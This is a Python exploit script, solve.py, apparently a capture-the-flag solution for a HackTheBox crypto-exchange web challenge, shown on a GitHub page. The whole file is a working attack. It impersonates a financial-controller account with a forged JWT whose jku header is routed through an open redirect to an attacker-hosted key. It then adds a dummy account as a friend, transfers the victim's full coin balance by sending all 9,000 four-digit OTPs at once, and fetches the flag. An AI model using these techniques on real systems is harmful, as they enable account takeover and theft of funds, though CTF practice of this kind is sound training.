-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsolve.py
145 lines (123 loc) · 5.35 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import requests, datetime, os
HOST = 'http://94.237.60.154:54864'
FINANCIAL_EMAIL = '[email protected]'
COIN_SYMBOL = 'CLCR'
def create_forged_jwt():
'''(ノ◕ヮ◕)ノ*:・゚✧'''
token='eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9hcGkvYW5hbHl0aWNzL3JlZGlyZWN0P3VybD1odHRwczovL3RlbXAuc3RhdGljc2F2ZS5jb20vNjc1YzRkM2Q1NWZhYy5qc29uJnJlZj0wIiwia2lkIjoiZDhlMTJiMzAtYTRhYi00NDJhLWJiMTYtNDI1ZTA2MjIwNTc2IiwidHlwIjoiSldUIn0.eyJlbWFpbCI6ImZpbmFuY2lhbC1jb250cm9sbGVyQGZyb250aWVyLWJvYXJkLmh0YiIsImlhdCI6MTczNDEzMzEzMS44MjI2NDV9.XNn0jasIFurrnV7rg0DEK6VcGGWQT24bqOkkMF5aJKCXjfGq-8LWnnYzf9xGW6g8_hHk7PR1034GEJ4kmWnYfLqthwLHjJ_82iDw6W63U-vCookxAbiZA4WDq2-pbyn_LGATAeAdPO4SQJPL8_Y0ubLrinCTTCdFHfjxR8jhnXldSe3dTqFd7SItDCoORxnkA4oSU__vQqJ_Z_4Bk1eCLCNomSbRxtMRBIBN9pDOJ4DiZNtNaPSGCJXXXCetAzKuJlqZA8yWPMXUvHHVwVOF762574S7wS1sWkxD8f6Twe105M9e9RPEV3Stnic0hCunsqpwfkKw8fHT6d1fJPzNVA'
return token
def validate_token(token):
response = requests.get(f'{HOST}/api/dashboard', headers={'Authorization': f'Bearer {forged_token}'})
if response.status_code == 200:
print('[+] JWT validation successful! Response:')
print(response.json())
else:
print(f'[!] JWT validation failed. Status: {response.status_code}, Response: {response.text}')
forged_token = create_forged_jwt()
print(f'[~] Forged JWT: {forged_token}')
print('[+] Validating forged JWT against /api/dashboard...')
validate_token(forged_token)
def register_user(email, password):
user = {'email': email, 'password': password}
r = requests.post(
f'{HOST}/api/auth/register',
json=user
)
if r.status_code == 200:
print(f'User registered successfully: {email}')
else:
print(f'Failed to register user: {email}, Response: {r.text}')
def login_user(email, password):
user = {'email': email, 'password': password}
r = requests.post(
f'{HOST}/api/auth/login',
json=user
)
if r.status_code == 200:
data = r.json()
token = data['token']
print(f'Login successful for: {email}, Token: {token}')
return token
else:
print(f'Login failed for: {email}, Response: {r.text}')
return None
def send_friend_request(token, to_email):
r = requests.post(
f'{HOST}/api/users/friend-request',
json={'to': to_email},
headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
print(f'Friend request sent to: {to_email}')
else:
print(f'Failed to send friend request to {to_email}: {r.text}')
def fetch_friend_requests(token):
r = requests.get(
f'{HOST}/api/users/friend-requests',
headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
requests_data = r.json()
print('Pending friend requests:', requests_data.get('requests', []))
else:
print(f'Failed to fetch friend requests: {r.status_code} {r.text}')
def accept_friend_request(token, from_email):
r = requests.post(
f'{HOST}/api/users/accept-friend',
json={'from': from_email},
headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
print(f'Friend request from {from_email} accepted.')
else:
print(f'Failed to accept friend request from {from_email}: {r.text}')
def fetch_balance(token):
r = requests.get(
f'{HOST}/api/crypto/balance',
headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
balances = r.json()
for coin in balances:
if coin['symbol'] == COIN_SYMBOL:
print(f'Balance for {COIN_SYMBOL}: {coin["availableBalance"]}')
return coin['availableBalance']
else:
print(f'Failed to fetch balances: {r.text}')
return 0
def make_transaction(token, to_email, coin, amount,):
'''(ミ ̄ー ̄ミ)'''
otp_list = [str(i) for i in range(1000, 10000)]
r = requests.post(
f'{HOST}/api/crypto/transaction',
json={'to': to_email, 'coin': coin, 'amount': amount, "otp": otp_list},
headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
print(f'Transaction of {amount} {coin} to {to_email} completed successfully.')
else:
print(f'Failed to make transaction to {to_email}: {r.text}')
def fetch_flag(token):
r = requests.get(f'{HOST}/api/dashboard', headers={'Authorization': f'Bearer {token}'})
if r.status_code == 200:
data = r.json()
if 'flag' in data:
print(f'Flag: {data["flag"]}')
else:
print('Flag not found in the response.')
else:
print(f'Failed to fetch dashboard: {r.text}')
dummy_user = {'email': f'{os.urandom(10).hex()}@htb.com', 'password': '1337'}
register_user(dummy_user['email'], dummy_user['password'])
dummy_token = login_user(dummy_user['email'], dummy_user['password'])
if dummy_token:
send_friend_request(dummy_token, FINANCIAL_EMAIL)
financial_token = forged_token
if financial_token:
fetch_friend_requests(financial_token)
accept_friend_request(financial_token, dummy_user['email'])
if financial_token and dummy_token:
cluster_credit_balance = fetch_balance(financial_token)
if cluster_credit_balance > 0:
make_transaction(financial_token, dummy_user['email'], COIN_SYMBOL, cluster_credit_balance)
fetch_flag(financial_token)